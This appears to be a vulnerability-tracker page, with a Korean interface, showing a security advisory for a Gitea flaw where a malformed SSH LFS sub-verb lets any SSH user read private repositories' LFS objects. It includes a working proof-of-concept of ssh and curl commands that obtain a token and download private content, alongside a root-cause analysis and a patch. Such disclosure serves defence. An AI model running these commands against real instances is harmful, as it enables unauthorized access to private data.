Kestrel
대시보드로 돌아가기
CVE-2026-58423HIGH· 7.7MITRENVDGHSA대응게시일: 2026. 07. 03.수정일: 2026. 07. 21.

Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories

Auth

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.7high

이론적 심각도 점수

EPSS
0.3%상위 76.6%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.7HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

상세 설명

Summary

A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository.

Details

In cmd/serv.go, the getAccessMode function determines the required access level for SSH operations. For LFS verbs (git-lfs-authenticate, git-lfs-transfer), it switches on the sub-verb (upload/download). If the sub-verb is neither, execution falls through to:

text
1setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb)
2return perm.AccessModeNone

In production (IsProd=true), PanicInDevOrTesting only logs an error and does not panic. AccessModeNone (value 0) is then passed to ServCommand in routers/private/serv.go, where the permission check block at line ~322 evaluates:

text
1if repoExist &&
2 (mode > perm.AccessModeRead ||
3 repo.IsPrivate ||
4 owner.Visibility.IsPrivate() ||
5 (user != nil && user.IsRestricted) ||
6 setting.Service.RequireSignInViewStrict) {
7 ...
8 if userMode < mode { // userMode < 0 is always false
9 // deny access
10 }
11}

For private repositories, repo.IsPrivate triggers the permission check block, but userMode < mode evaluates to userMode < 0, which is always false — access is granted regardless of the user's actual permissions.

The function then returns successfully, and runServ generates a valid LFS JWT token with Op: "badverb". On the HTTP LFS side (services/lfs/server.go:599), the Op field is only validated for write operations:

text
1if mode == perm_model.AccessModeWrite && claims.Op != "upload" {
2 return nil, errors.New("invalid token claim")
3}

Download operations do not check Op, so the attacker's token is accepted for all LFS read operations.

PoC

Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: admin (owns a private repo with LFS objects) and attacker (a regular user with an SSH key, no access to the private repo).

bash
1# 1. Verify attacker has NO access via normal LFS authenticate
2ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download"
3# Output: "User: attacker is not authorized to read admin/private-repo."
4
5# 2. EXPLOIT: Use malformed sub-verb to bypass permission check
6ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb"
7# Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"}
8
9# 3. Use stolen token to request LFS object download
10curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \
11 -H "Content-Type: application/vnd.git-lfs+json" \
12 -H "Accept: application/vnd.git-lfs+json" \
13 -H "Authorization: Bearer eyJ..." \
14 -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}'
15# Returns download URL with valid authorization header
16
17# 4. Download private LFS content
18curl -H "Authorization: Bearer eyJ..." \
19 "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>"
20# Returns the private LFS object content

Impact

Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from any private repository on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration).

Suggested fix

Validate the LFS sub-verb before calling getAccessMode, or return an error instead of AccessModeNone for unknown verbs:

text
1case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer:
2 switch lfsVerb {
3 case git.CmdSubVerbLfsUpload:
4 return perm.AccessModeWrite
5 case git.CmdSubVerbLfsDownload:
6 return perm.AccessModeRead
7 default:
8 return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb)
9 }

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.